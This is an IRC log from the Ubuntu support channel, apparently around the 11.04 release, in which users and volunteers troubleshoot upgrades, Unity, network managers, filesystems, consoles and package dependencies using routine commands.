[07:57] <ubottu> phonex01: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[07:57] <paspro> M13up: I know that, I was just wondering if I can click directly when the notification message pops up
[07:57] <_genuser_> bullgard4: anyway, thanks. :)
[07:58] <phonex01> ok ok im sorry
[07:58] <KNUBBIG> Rehan: mh dunno, had to fix sthing in 10.10 as well, but splash also doesn#t work on my 11.04 ATI notebook so it might just be all proprietary drivers ...
[07:58] <bp0> is someone making a natty faq? somthing better than those bot factoids, all in one place?
[07:58] <bp0> that would be handy
[07:58] <bp0> i remember someone did it with lucid
[07:58] <bp0> that was great
[07:58] <d4gg3r> ?
[07:58] <kezzawd> MoL0ToV: if you install ccsm and not simple-ccsm you also get some options for tweaking unity
[07:59] <d4gg3r> any aidea how to install this? libplds4.so.0d?
[07:59] <bullgard4> paspro: Be careful. Gwibber is fairly safe. If you mingle it with Twitter/Facebook you will abandon some security.
[07:59] <tbf> kezzawd: thanks for all your help. i am happy for the moment :-)
[07:59] <Rehan> KNUBBIG: this may work for you: http://idyllictux.wordpress.com/2010/04/26/lucidubuntu-10-04-high-resolution-plymouth-virtual-terminal-for-atinvidia-cards-with-proprietaryrestricted-driver/
[07:59] <Rehan> KNUBBIG: it didn't work for me though
[07:59] <kezzawd> tbf: np
[07:59] <KNUBBIG> Rehan: yes, it worked vor me in 10.04 and 10.10 but not anymore :(
[07:59] <d4gg3r> I wanna run nm-applet in 11.04, but it didn't work... with this error: nm-applet: error while loading shared libraries: libplds4.so.0d: cannot open shared object file: No such file or directory
[07:59] <d4gg3r>  
[08:00] <M13up> paspro: I didn't know, thats why i was here asking. thanks to others i found it, so I just put up my findings.  If you knew you could have said!! :) - no point after iv'e solved it.
[08:00] <Rehan> KNUBBIG: do your virtual terminals work?
[08:00] <purvesh> can some one help me for upgrading from alternate iso, i had already mounted iso to cdrom0 but when i try to to run: gksu "sh /cdrom/cdromupgrade" it wont show any effect or any upgrade screen what to do ?
[08:00] <Rehan> purvesh: try it without the quotes
[08:00] <paspro> bullgard4: I am just wondering if I can click directly on gwibber's pop up notifications to open the gwibber interface directly.
[08:01] <ichbinder> Hey there. When I start Skype from a link as an application it crashes after a few seconds. When I start it from a terminal or as application in terminal, it works smoothly. Any idea what could be the problem?
[08:01] <purvesh> Rehan, no any changes without quotes ... same issue ...
[08:02] <usr13> purvesh: ls /cdrom/cdromupgrade
[08:02] <kezzawd> d4gg3r - try http://bit.ly/mRxybs
[08:03] <usr13> purvesh: If you mounted to cdrom0, wouldn't it be  sh /cdrom0/cdromupgrade  ?
[08:04] <greenit> hi, i have a problem with my network-manager.... the indicator in the upper right corner doesn't work correctly... i can't click it.... can any1 help me plz? :S  (natty)
[08:04] <usr13> purvesh: ls /cdrom0/cdromupgrade
[08:04] <purvesh> usr13, nope not working even i had also tried cdrom0/
[08:04] <Rehan> hi usr13
[08:04] <usr13> greenit: sudo apt-get install wicd ; sudo apt-get remove network-manager
[08:05] <greenit> usr13: what is wicd?
[08:05] <purvesh> usr13, m trying at run (alt + F2)
[08:05] <usr13> purvesh: ls -l /cdrom0/cdromupgrade
[08:05] <usr13> greenit:  Wicd - Wired and Wireless Network Connection Manager
[08:05] <Rehan> could anyone help me with why my tty's dont work? If I do "telinit 3" it returns nothing.
[08:06] <usr13> greenit: Try it, you'll like it.
[08:06] <ichbinder> nope, I start it not as root. Normal priviliges.
[08:06] <greenit> usr13: is it better than the normal networkmanager?
[08:06] <usr13> !upstart | Rehan
[08:06] <ubottu> Rehan: Upstart is meant to replace the old Sys V Init system with an event-driven init model.  For more information please see: http://upstart.ubuntu.com/
[08:07] <disappearedng> whats the best tool to do mock ups on ubuntu (other than gimp)
[08:07] <d4gg3r> kezzawd, ok
[08:07] <purvesh> usr13, nothing happened now what to do bro ?
[08:07] <usr13> Rehan: Since we started using Upstart, runlevels are pretty much irrelevant
[08:07] <Rehan> usr13: do you know what could be causing my virtual terminals to just give a black screen?
[08:07] <usr13> purvesh: ls -l /cdrom0/cdromupgrade  returns nothing?
[08:07] <_genuser_> ok ubuntu about to get unstable.
[08:07] <d4gg3r> kezzawd, could you please provide me with the full link, bit.ly is filtered in iran :D
[08:07] <_genuser_> just changed a bunch of lines.
[08:07] <purvesh> usr13, yup ...
[08:08] <_genuser_> errrr they let you have linux in iran?
[08:08] <usr13> Rehan: Well, I suppose they could be turned off.
[08:08] <usr13> purvesh: ls -l /cdrom/cdromupgrade
[08:08] <greenit> usr13: does wicd also have an indicator?
[08:08] <usr13> greenit: yes
[08:08] <Rehan> usr13: i didn't turn them off...my plymouth doesn't show either, i'm thinking its some video driver issues...could you help?
[08:08] <usr13> purvesh: mount |grep cdrom
[08:08] <greenit> usr13: do i have to log out to see it?^^
[08:08] <dualcore> do you guys like 11.04
[08:08] <dualcore> or gnome 3
[08:09] <greenit> i like it
[08:09] <usr13> purvesh: What command did you use to mount the ISO?
[08:09] <usr13> greenit: Me too.
[08:09] <greenit> thx 4 help, cya :)
[08:09] <purvesh> usr13, sudo mount -o loop ~/Desktop/ubuntu-11.04-alternate-i386.iso /media/cdrom0
[08:10] <kezzawd> d4gg3r: here you go http://ubuntuforums.org/showpost.php?p=5987637&postcount=11 - the problem you are having is related to Flash
[08:10] <purvesh> usr13, and cd is mounted also
[08:10] <bullgard4> paspro: I do not know. I just opened my Gwibber to test this but at this moment there does not appear a notification.
[08:10] <usr13> purvesh: sudo sh /media/cdrom0/cdromupgrade
[08:10] <purvesh> usr13, i can also see that cdromupgrade file
[08:10] <usr13> purvesh: the tab key is your   friend
[08:10] <purvesh> usr13, Thanx a lot now it works
[08:10] <_genuser_> anybody on lucid?
[08:10] <usr13> purvesh: NP
[08:11] <_genuser_> 10.04?
[08:11] <bullgard4> dualcore: I do like 11.04 but I do not use GNOME 3 yet. I consider it too early to use it. I am using GNOME 2.
[08:11] <Baskak> hi, i have a failure following upgrade to 11.04. after the upgrade was on its way for some time, i have found the system in the following state: https://picasaweb.google.com/108748234852103512253/U1104upgradefailure#, and nearly frozen. no other option than "skinny elephants" seemed to work. now it doesn't start, halts on something called "plymouth", also in recovery mode. ps. fresh install...
[08:11] <Baskak> ...is really not a possibility to me.
[08:11] <usr13> _genuser_: Yes
[08:11] <_genuser_> usr13: can I ask you to please post your /etc/apt/sources.list file? please?
[08:11] <_genuser_> usr13: using pastebin.
[08:11] <richiefrich> _genuser_: all ok?
[08:12] <usr13> http://pastebin.com/g13seAsw
[08:12] <_genuser_> richiefrich: hehe, the install is gone to heck. So either gotta use 10.04 sources.list to install all packages from it, OR re-install.
[08:12] <richiefrich> _genuser_: do you like it :P
[08:12] <paspro> bullgard4: every time you put the mouse on top of a gwibber notification it fades out and cannot be clicked.
[08:12] <Bin_Laden> I changed my name
[08:12] <richiefrich> _genuser_: =o
[08:12] <_genuser_> usr13: thanks so much. I apprecaite your help.
[08:12] <ichbinder> so, nobody has an idea why skype works when it's started from terminal but not as an application?
[08:12] <_genuser_> richiefrich: no, it doens't even load ANYTHIGN>
[08:12] <usr13> _genuser_: NP
[08:12] <_genuser_> richiefrich: just a blackscreen.
[08:12] <bullgard4> paspro: You mentioned this before.
[08:13] <richiefrich> _genuser_: wow nice
[08:13] <richiefrich> _genuser_: lol
[08:13] <_genuser_> richiefrich: but that's why you don't upgrade. which is what you just did.
[08:13] <richiefrich> right
[08:13] <richiefrich> i didnt upgrade
[08:13] <greenit> hey usr13: how can i create a wireless network with wicd?
[08:13] <_genuser_> richiefrich: meaning you restricted the upgrade.
[08:13] <usr13> Rehan: You have only tty 7 ?
[08:14] <richiefrich> _genuser_: i win \o/
[08:14] <_genuser_> richiefrich: yeah, I won't be upgrading either once 10.04 is installed.
[08:14] <_genuser_> richiefrich: lol, i win. that's funny.
[08:14] <bear_> i have xubuntu 10.10 amd 64, 1.5ghz  2 ddr2,dual boot.. what do i do for a os ?
[08:14] <usr13> greenit: Create a wireless network?
[08:14] <Rehan> usr13: yeah i guess so, everything else is a black screen.
[08:14] <usr13> greenit: You mean connect to one?
[08:14] <greenit> usr13: i wanna open an ad-hoc wireless network... how can i do this with wicd?
[08:14] <richiefrich> _genuser_: what i dont get is when i cat /etc/debian_version  i see -> squeeze/sid
[08:14] <richiefrich> _genuser_: you would think it be different on ubuntu
[08:14] <Rehan> usr13: not sure if its because of driver display issues or what
[08:16] <ben21> hello
[08:16] <_genuser_> richiefrich: nah, it's the same thing. like firefox, netscape, and tons others used to get in to the office in the morning run source checkout of mozilla and rebrand it and release it. And they all had same security bugs. lol.
[08:16] <usr13> greenit: Click on Network ->
[08:16] <Rehan> usr13: crazy how you're multitasking, sorry about the PM, i mistook you for someone else
[08:16] <ben21> i an stuck at "Enabling additional executable binary formats binfmt-support" in tthe upgrad process from maverick what should i do now ?
[08:17] <usr13> greenit: Click on Network -> Create an Ad-Hoc Network
[08:17] <ben21> if i reboot i die?
[08:17] <bkerensa>  /join #ubuntu-us-or
[08:17] <usr13> Rehan: May not be a mistake.
[08:18] <bullgard4> ben21: What do you mean by "I am stuck" precisely?
[08:18] <greenit> usr13: where is network?
[08:18] <_genuser_> richiefrich: ok, so I just fixed up all the sources.list file to lucid ones and now update manager says run a partial upgrade. errr partial upgrade to what? lol.
[08:18] <wonginator1221> Is there a hotkey I can press/set to restart unity if it crashes without doing a hard shutdown?
[08:18] <usr13> upper left corner
[08:18] <_genuser_> richiefrich: running that. since I think I miht have to reinstall anyhoo.
[08:18] <usr13> greenit: Did you reboot after installing wicd?
[08:19] <greenit> usr13: nope, i just logged out and in again
[08:19] <richiefrich> _genuser_: wish you luck
[08:19] <ben21> bullgard4, it doesn't progress anymore, i don't now more
[08:19] <usr13> greenit: and did you add our user to netdev
[08:20] <usr13> ?
[08:20] <_genuser_> richiefrich: it's a fun experience. if it works or if it's a re-install. I might get to finally luks encrypt the /. :)
[08:20] <usr13> greenit: and did you add your user to netdev
[08:20] <bullgard4> ben21: So all your intervention cannot make that your upgrade process will progress?
[08:20] <richiefrich> _genuser_: =o  i never played with encryption like that
[08:20] <greenit> usr13: i hope so... as the window in the terminal appeared, i made a star at my user so that it looks like that: [*] greenit
[08:20] <richiefrich> _genuser_: i wonder how slow it is
[08:21] <ben21> ben21, what all my intervention? i don't know what to do
[08:21] <greenit> usr13: this window was for netdev afais
[08:21] <_genuser_> richiefrich: I'd be curious too. Using truecrypt for windows, I was noticing on AES, it was noticeably slow. Very noticeable. On linux those I'd only do the swap and home partition on a slow computer.
[08:21] <bullgard4> How does MetaCity change if I assert in gconf-editor: apps->metacity->general->compositing_manager? (I did read http://en.wikipedia.org/wiki/Compositing)
[08:22] <richiefrich> _genuser_: ahh
[08:22] <richiefrich> _genuser_: let me know, if you try it
[08:23] <_genuser_> richiefrich:  will do. if not here in #gentoo. :) looking to get the raid1 server to LUKS eventually
[08:23] <usr13> greenit: What?
[08:23] <richiefrich> _genuser_: yeah or you can join my channel :P
[08:23] <_genuser_> richiefrich: you have a channel?
[08:23] <richiefrich> _genuser_: oh yeah
[08:23] <brandonc503> if i have a sftp users and im trying to give them one folder to upload to, is that what im reading is jailing?
[08:23] <_genuser_> richiefrich: lot of work to keep it going no?
[08:23] <richiefrich> _genuser_: ill pm you
[08:23] <ben21> bullgard4, what all my intervention? i don't know what to do
[08:23] <usr13> greenit: In the wicd install process, it should have asked what users you wanted to add to the group netdev.  RIght?
[08:24] <greenit> usr13: yeah, and i checked my user
[08:24] <greenit> usr13: like that: [*] greenit
[08:24] <bullgard4> ben21: What happens if you simply press the Enter key?
[08:24] <ben21> bullgard4, i get a new line
[08:25] <alib-da-> morning all
[08:25] <bullgard4> ben21: But that is all? Ubuntu does not continue upgrading?
[08:25] <usr13> greenit: Ok, you should be good to go then.  Should work for you.
[08:25] <ben21> bullgard4, yes exactly
[08:26] <greenit> usr13: and how can i create an ad-hoc wireless network?
[08:26] <ben21> bullgard4, also the upgrad windows seems frozen since i can"t hide/display the terminal part
[08:26] <greenit> usr13: in natty narwhal, so i don't have the 3 menu-buttons in the upper left corner^^
[08:27] <paspro> Question: is there a GNOME irc client that is better than xchat and similar to kvirc in features?
[08:28] <ben21> paspro, better than xchat ?
[08:28] <paspro> ben21: yes
[08:28] <ben21> paspro, ok
[08:28] <bullgard4> ben21: If the upgrade windows seems frozen, this seems normal because the upgrade process  should not be interrupted.
[08:28] <paspro> ben21: xchat is rather primitive
[08:29] <ben21> bullgard4, ok that's a releaf so what now ?
[08:29] <ben21> bullgard4, i sould avoid rebooting ever, maybe i'get a nice uptime then
[08:30] <_genuser_> ok, time to rsyn /home and re-install.
[08:30] <_genuser_> rsync
[08:31] <bullgard4> ben21: I  do not know how to help you. This never happed with me at my many upgrades. --  I am afraid that you will need abandoning the upgrade process. This is very deplorable.
[08:31] <alib-da-> how do i register my nickname? is it the same as xchat?
[08:32] <Guest3380> alib-da-, type /msg NickServ help
[08:32] <bullgard4> alib-da-: Join #freenode and ask there again.
[08:32] <alib-da-> Guest3380: cheers
[08:32] <ben21> bullgard4, i there a clean/safe way out ?
[08:32] <ben21> is
[08:33] <bullgard4> ben21: No.
[08:33] <tyreza> hello
[08:33] <tyreza> there
[08:33] <tyreza> how to check my filesystem ?
[08:33] <usr13> alib-da-: /msg NickServ help
[08:33] <Jordan_U> ben21: Try ctrl+c
[08:33] <Guest89799> Hello there
[08:33] <Romance> was there some issue with 11.04 and nvidia ati card?
[08:34] <bullgard4> Romance: Yes.
[08:34] <tyreza> hello
[08:34] <usr13> tyreza: fsck
[08:34] <tyreza> anyone there ?
[08:34] <usr13> tyreza: But not while it's mounted.
[08:34] <tyreza> are you fool ?
[08:34] <Romance> bullgard4, this guy Rehan have problem with his 11.04 and nvidia ati card
[08:34] <tyreza> i m asking you for a command to check for filesystem
[08:35] <botcity> !fsck | tyreza
[08:35] <ubottu> tyreza: fsck is the FileSystem ChecKer, which runs automatically when you boot if you didn't shutdown cleanly. Type "man fsck" for information on running it manually. The command "sudo shutdown -F -r now" will force a reboot and a filesystem check; "sudo touch /fastboot" will skip a filesystem check at next reboot
[08:35] <llutz_> couldn't someone fix that ubottu factoid please, shutdown -F won't work since upstart came into ubuntu
[08:35] <tyreza> no is there any other method to check ?
[08:35] <_genuser_> dang it.
[08:35] <tyreza> filesystem
[08:36] <_genuser_> using ctrl-w in console for word delete and in firefox has totally different reaction
[08:36] <usr13> tyreza: fdisk -l
[08:36] <Jordan_U> ben21: Or try killing the process that's hung, like "sudo pkill binfmt"
[08:36] <Mrokii> Hi. When I open a Gnome-Terminal, the scrollbar on the right works as usual (plus the scrollwheel. But if I open a GNU-screen-session, the scrollbar (the button within it) is always as high as the window and I can't scroll with the mouosewheel anymore. Can this be fixed?
[08:36] <Jordan_U> ben21: You should also know that if needed you can re-install while preserving your home directory, even if it's not on a separate partition.
[08:37] <brandonc503> from https://help.ubuntu.com/6.10/ubuntu/packagingguide/C/appendix-chroot.html did sudo debootstrap --variant=buildd edgy /var/chroot/ http://archive.ubuntu.com/ubuntu/ and got Failed getting relase file http://archive.ubuntu.com/ubuntu/dists/edgy/Release
[08:37] <usr13> tyreza: What exactly do you need to do?
[08:38] <SerialMDK> anyone got a minute to help a linux noob?
[08:38] <usr13> tyreza: sudo fdisk -l
[08:38] <KNUBBIG> !ask SerialMDK
[08:38] <tyreza> i simply want to make sure that my filesystem is ext3 instead of ext4 usr13
[08:38] <ben21> Jordan_U, the killing the specific process worked the upgrad process resume
[08:38] <KNUBBIG> !ask | SerialMDK
[08:38] <ubottu> SerialMDK: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[08:38] <llutz_> tyreza: sudo blkid
[08:38] <ben21> Jordan_U, maybe i'm not that doomed now
[08:39] <SerialMDK> having a problem on install i pick the partition to use and it says no root file system is defined
[08:39] <MK``> SerialMDK: you need to specify a partition as /
[08:40] <frater_sx> hello everyone. I'd like to disable dbus to let signals from an application pass directly from the app to the hardware, withuot sharing its processes. is this possible and where can I find more information regarding that?
[08:40] <usr13> Is anyone else missing /etc/event.d/   ?
[08:40] <tyreza> thanks working llutz
[08:40] <tyreza> thanks working llutz_
[08:40] <SerialMDK> mk'' and where it says device for boot loader installation what do i pick?
[08:41] <tyreza> but i don't why fdisk -l not df -h not giving that info about filesytem
[08:41] <MK``> SerialMDK: how many operating systems? Do you have windows installed?
[08:41] <MK``> and how many drives
[08:42] <kezzawd> usr13: try /etc/init as the alternative
[08:42] <Maxud> hi, how to pen USB drive throw the terminal?
[08:42] <aks_wahi> hello everyone I am new to Ubuntu and installed 11.04 ver.. but at start time i get INPUT NOT SUPPORTED error plz help...
[08:42] <botcity> Maxud, ?
[08:43] <Maxud> well I dont have any of graphic enviroment
[08:43] <Maxud> how to open USB throw the terminal
[08:44] <KNUBBIG> Maxud: cd /media/xyz ?
[08:44] <bullgard4> aks_wahi: Try 'Ctrl+Alt+F1'. Does this work?
[08:44] <Maxud> xyz is name of drive?
[08:44] <KNUBBIG> Maxud: yes
[08:44] <usr13> kezzawd: You don't have  /etc/event.d/tty1 ?
[08:44] <KNUBBIG> Maxud: cd /media/ and then double-tap TAB
[08:44] <usr13> kezzawd: Or do you....?
[08:44] <Baskak> hi, i have a failure following upgrade to 11.04. after the upgrade was on its way for some time, i have found the system in the following state: https://picasaweb.google.com/108748234852103512253/U1104upgradefailure#, and nearly frozen. no other option than "skinny elephants" seemed to work. now it doesn't start, halts on something called "plymouth", also in recovery mode. ps. fresh install...
[08:44] <Baskak> ...is really not a possibility to me.
[08:45] <usr13> kezzawd: Or do you have /etc/init/tty1  and tty2   etc...?
[08:45] <Maxud> i think there is no such folder :(
[08:45] <usr13> anyone else?
[08:46] <tyreza> but i don't why fdisk -l not df -h not giving that info about filesytem  llutz_
[08:46] <usr13> ls /etc/init/tt*    or   ls /etc/event.d/tt*
[08:46] <kezzawd> usr13: I have /etc/init/tty*.conf
[08:46] <KNUBBIG> usr13: I'm having /etc/init
[08:46] <llutz_> tyreza: fdisk prints partition-ids not filesystems
[08:46] <Maxud> well i am on fresh compiled Gentoo
[08:47] <usr13> KNUBBIG: kezzawd but no tty1  tty2  tty3  or ttyS1  ttyS2  etc?
[08:47] <kezzawd> usr13: only .conf files
[08:47] <minsik_> i need help with my wireless driver.
[08:47] <usr13> tyreza: What is your native language?
[08:48] <usr13> kezzawd: Are you on 10.10  or 11.04  or????
[08:48] <minsik_> i have a broadcomm wi-fi on natty.
[08:48] <CircuitBug> my nautilus is not generating thumbnails on gnome 3
[08:48] <llutz_> tyreza: df -T      prints fs too
[08:48] <kezzawd> usr13: 11.04 - the tty*.conf files all point to /sbin/getty tty*
[08:49] <CircuitBug> my nautilus is not generating thumbnails on gnome 3
[08:49] <FordPrefect> I need help  with creating a directory.
[08:49] <CircuitBug> please help
[08:50] <FordPrefect> "mkdir ~/.local/share/gedit/plugins/" returns cannot create directory no such file or directory exists.
[08:50] <FordPrefect> What is going on?
[08:50] <_genuser_> rebooting.
[08:50] <usr13> kezzawd: Thanks
[08:50] <aks_wahi_> ctrl+alt+f1 i got to command mode and then restarted ubuntu but still it showed the error....
[08:50] <CircuitBug> try sudo mkdir ~/.local/share/gedit/plugins/
[08:50] <FordPrefect> Anyone have any clues?
[08:51] <ycat> FordPrefect: Did you check the permissions? And if it exists?
[08:51] <FordPrefect> I checked if it exists. It doesn't. I'll try and do it as root
[08:51] <ycat> FordPrefect: you might need to sudo
[08:51] <llutz_> FordPrefect: mkdir -p ~/.local/share/gedit/plugins
[08:51] <usr13> kezzawd: They are symlinks?
[08:51] <CircuitBug> my nautilus is not generating thumbnails on gnome 3....can someone please help??
[08:52] <ejv> is gnome3 supported here?
[08:52] <oetzi> hi guys
[08:52] <tyreza> as i got lots of native  i don't know which one is "mine" usr13
[08:52] <ejv> not sure it is...
[08:52] <usr13> Actually, I need to move Rehan back over  here, he does not have any console terminals and I'm trying to figure out why.  I think his monitor just does not support the outupt.
[08:52] <greenit> i have a problem with ubuntu 11.04... i can't create a wireless ad-hoc network.... and i can't even click the netwok-indicator... any1 knows what to do (and i won't install wicd)?
[08:53] <oetzi> since yesterday I have problems with gdm login screen, first I thought my keyboard crashed but then i noticed that I have to press each key for 1 or 2 seconds to make them work
[08:53] <vak> hi all
[08:54] <Rehan> but usr13 what resolution would the console terminals be displaying in? Could it be that its requiring some 2D driver or bios video driver and since I have nvidia 3D proprietary drivers its causing issues?
[08:54] <vak> How to get Eclipse and its icon pinned to Launcher in Ubuntu Unity?
[08:54] <oetzi> after login everythings ok again
[08:54] <oetzi> using 11.04
[08:54] <aks_wahi_> plz help i am getting INPUT NOT SUPPORTED error what to do ? I  am new to ubuntu and know nothing about the commands and terminal...
[08:54] <g4> hi, how can I remove that unity bar and get the old menu back? I tried to log in with classic, but didn't get the old menu?
[08:54] <wolfreak> @oetzi try restarting, going to the recovery mode at the beginning menu then hit "Failsafe graphics mode"
[08:55] <blackbit> why everything I read is double?
[08:55] <wolfreak> @blackbit you have doublevision?
[08:55] <blackbit> no, other rooms are fine. Its just this room: each message is displayed twice
[08:56] <oetzi> wolfreak thank you I will try this
[08:56] <greenit> i want to set up an ad-hoc network, how can i do this in natty?
[08:56] <ycat> blackbit: restart your client?
[08:56] <wolfreak> Or just use an online client. http://webchat.freenode.net/?channels=ubuntu is what I'm on
[08:57] <norbert_> hi all
[08:57] <norbert_> I just dist-upgraded the Ubuntu on this machine
[08:57] <norbert_> I'm looking for a way to get back the overview of what windows are open
[08:58] <norbert_> in the south I had a bar that had like a window switcher
[08:58] <kezzawd> norbert: try 'Super' and 'W'
[08:58] <zniavre> somebody knows why handle grip is so visible ?
[08:58] <norbert_> kezzawd: I mean an overview that's always there, that I can directly click on the button/tab (application) I want
[08:59] <wolfreak> @norbert are you on 11.04?
[08:59] <kezzawd> greenit: you could try http://bit.ly/mnjCoK
[08:59] <norbert_> I don't know what version I'm on
[08:59] <norbert_> this is Ubuntu, but it has a /etc/debian_version with squeeze/sid in it
[09:00] <aks_wahi_> plz help i am getting INPUT NOT SUPPORTED error what to do ? I  am new to ubuntu and know nothing about the commands and terminal...
[09:00] <kezzawd> norbert_: not sure there is such a thing
[09:00] <wolfreak> @norbert do you have 2 bars at the top and bottom? or just one at the top?
[09:00] <norbert_> it just updated and there's now a list of icons on the left
[09:00] <norbert_> wolfreak: just one at the top
[09:00] <norbert_> and I'm looking for a way to get the bottom (south) bar back
[09:00] <brandonc503> so if i had version 10 and did sudo debootstrap --variant=buildd lucid/var/chroot/ http://archive.ubuntu.com/ubuntu/     and now im getting lots of retrieving and validating things.. did it just upgrade to 11?
[09:00] <norbert_> because it had a list of buttons with the applications
[09:00] <norbert_> I want to be able to see what I have open
[09:01] <wolfreak> @norbert log out, at the bottom hit "Ubuntu classic mode", that'll give you the old look back
[09:01] <norbert_> and it allows me to quickly select the application I want
[09:01] <norbert_> without pressing Alt+Tab or Super+W
[09:01] <norbert_> wolfreak: thanks :)
[09:01] <kezzawd> norbert_: as far as I'm aware the panel in unity doesn't have a window menu app -  which I think is what you're after
[09:02] <norbert_> ok
[09:02] <ar71k> Anyone know how to get a rss feed for reddit.com/r/ubuntu?
[09:02] <norbert_> there's another problem that hopefully will be gone when I go to Ubuntu classic mode
[09:02] <norbert_> which is that if I press the "Terminal" icon, it cannot launch twice
[09:02] <norbert_> I know I can pick a new Terminal from the top in the menu, but that takes a lot more time than just clicking the icon
[09:02] <botcity> norbert_, unity uses the bar to the left. "sort of like that"
[09:03] <kezzawd> norbert_: in Unity default keyboard  shortcut for a terminal window is Ctrl Alt and T
[09:03] <ar71k> GNOME 3 BABY
[09:03] <norbert_> botcity: yeah, but it doesn't allow me to launch the Terminal twice
[09:03] <feyisayo_> Hey everyone, I running natty and have get installed on it. But I cannot get the kget window to display. Any ideas?
[09:03] <ar71k> sure u can u just drag and drop
[09:03] <norbert_> botcity: it only allows me to pick from the menu File -> Open Terminal
[09:03] <norbert_> kezzawd: ok, but I prefer the icon :P
[09:04] <ar71k> applications drag terminal into session
[09:04] <norbert_> anyways, thanks, going back to the old version... logging out... :)
[09:04] <botcity> norbert_, i use ctl + alt + t .. pressing twice !
[09:04] <ar71k> howkey still works
[09:04] <ar71k> opens two terminals
[09:04] <ar71k> just testd
[09:04] <kezzawd> norbert_: you can still create desktop launchers from a right-click which will give you what you arte after
[09:05] <Axlin> personally, i still think they should have a "open new instance" option when you right click an icon on the launcher... at the very least :)
[09:05] <SerialMDK> i installed 11.04 along side win 7 and i dont get grub
[09:05] <kezzawd> Axlin: I agree
[09:05] <ar71k> dont need desktop cause the applications menu is a desktop, gnome do, google and wiki search and a dash
[09:05] <ar71k> Anyone know how to get a rss feed for reddit.com/r/ubuntu?
[09:05] <ar71k> came in here for that lol
[09:05] <usalabs> yeah, the launcher/sidebar only allows single instances, and there's no taskbar that's relied upon by progs such as cryptkeeper
[09:06] <ar71k> nah u can open multiple with a drag and drop
[09:06] <ar71k> you can open multiple programs on multiple workspace with one mouse click
[09:06] <SerialMDK> any one help me with that problem?
[09:06] <ar71k> per program
[09:06] <Axlin> yeah that's the other thing. i don't get what's up with the systray whitelist. at least they allow you to add "all" to the whitelist
[09:07] <ar71k> i dunno at first i hated it but after using it for a day and playing some games in it... i like it a lot now
[09:07] <unreal_> Hey.  I was curious, where could I find a list of the necessary dependencies for the latest version of wine?
[09:07] <usalabs> ok, I have Xchat open right now, but if I click on the Xchat in the launcher, another instance does NOT happen
[09:07] <wolfreak> @ar71k  on any reddit page, type ".rss" at the end of the url and you'll get the rss feed. for ubuntu, it'll be http://www.reddit.com/r/ubuntu.rss
[09:07] <ar71k> ppa:ubuntu-wine/ppa
[09:07] <kezzawd> ar71k: How do you open multiple instances of an application with one click ?
[09:07] <ar71k> thats the latest
[09:07] <ActionParsnip> usalabs: you can find that at http://packages.ubuntu.com
[09:08] <Axlin> unreal_: if you want to see dependencies, you can find the package in synaptic package manager, right click, choose properties, dependencies tab
[09:08] <ActionParsnip> ar71k: latest doesn't mean better when it comes to wine
[09:08] <bullgard4> How does MetaCity change if I assert in gconf-editor: apps->metacity->general->compositing_manager? (I did read http://en.wikipedia.org/wiki/Compositing)
[09:08] <ar71k> kezzawd: drag application into workspace
[09:08] <llutz_> unreal_: apt-cache depends wine
[09:08] <ar71k> kezzawd:twice without closing workspace
[09:08] <unreal_> thanks for the replies all.
[09:08] <ar71k> sudo apt-add-repository ppa:ubuntu-wine/ppa
[09:09] <ActionParsnip> ar71k: some apps prefer the older versions, you need to check the appdb for compatibility
[09:09] <Axlin> unreal_: oh, i forgt the command line, if you're interested: apt-cache depends <package>
[09:09] <kezzawd> ar71k: not happening for me - just getting default screen-edge behaviour for Unity
[09:09] <ar71k> ActionParsnip: o my bad lol
[09:09] <Axlin> uh.. yeah, what llutz said. sorry
[09:10] <usalabs> nope, dragging the icon from the launcher, to the workspace only puts it back in the launcher, tried it with different icons
[09:10] <ar71k> usalabs:talking about in gnome 3
[09:11] <usalabs> Natty?
[09:11] <kezzawd> ar71k: OK - talking Unity here
[09:11] <unreal_> axiin, cool.  what I am really looking to do, is uninstall all the wine dependencies, and then reinstall them.
[09:11] <ar71k> kezzawd: LOL this whole time?
[09:11] <unreal_> so I appreciate the info.  :)
[09:11] <unreal_> y
[09:12] <ar71k> gnome 3 is still pretty buggy tho
[09:12] <ar71k> i wana put it on my parent's computer for them but its too unstable i think
[09:12] <nothingspecial> middle click on the icon
[09:12] <stix> Hi guys. I just upgraded to 11.04 but I don't like unity. How can I start Gnome again?
[09:12] <kezzawd> ar71k: Yeah well norbert_ was certainly talking about Unity when he was referring to opening more than one instance of an app - jeez
[09:13] <Axlin> stix: log out and select ¨ubuntu classic" as the session
[09:13] <ar71k> kezzawd: I am elevated right now you'll have to forgive me
[09:13] <stix> Axlin, I cannot select anything at the bottom of the login-screen as I used to
[09:13] <nothingspecial> To open a new instance in unity
[09:13] <brandonc503> How would I make sure that my sftp users can only access there home directory?
[09:14] <red2kic> brandonc503: What else than to test it yourself? ;o
[09:14] <ActionParsnip> brandonc503: it uses the unix permissions in the filesystem
[09:14] <ActionParsnip> brandonc503: so you can set the access they get with chmod and chown as if they were local :)
[09:14] <botcity> !classic | stix
[09:14] <ubottu> stix: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[09:14] <usalabs> stix: run the app 'Login Screen' in system settings -> system and select 'classic' in the session drop down, then restart pc
[09:15] <llutz_> brandonc503: man sshd_config (ChrootDirectory)
[09:15] <Baskak> anybody? sorry if i missed something
[09:15] <stix> usalabs, thanks, that must do it :)
[09:16] <wolfreak> I'm back,. Baskak, do you need help?
[09:16] <ar71k> I'm colorblind
[09:16] <Baskak> yes, pls
[09:16] <Baskak> hi, i have a failure following upgrade to 11.04. after the upgrade was on its way for some time, i have found the system in the following state: https://picasaweb.google.com/108748234852103512253/U1104upgradefailure#, and nearly frozen. no other option than "skinny elephants" seemed to work. now it doesn't start, halts on something called "plymouth", also in recovery mode. ps. fresh install...
[09:16] <Baskak> ...is really not a possibility to me.
[09:16] <FloodBot3> Baskak: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[09:16] <Baskak> sorry
[09:17] <wolfreak> sorry, hold on let me read this lol i had to get my water :P.
[09:18] <wolfreak> Are you using a different language intentionally?
[09:18] <bullgard4> How does MetaCity change if I assert in gconf-editor: apps->metacity->general->compositing_manager? (I did read http://en.wikipedia.org/wiki/Compositing)
[09:19] <wolfreak> @Baskak, try logging out, hitting "Ubuntu Classic" at the bottom.
[09:20] <Baskak> wolfreak, i can start the system at all, booting stops at "plymouth"
[09:20] <Baskak> *can't
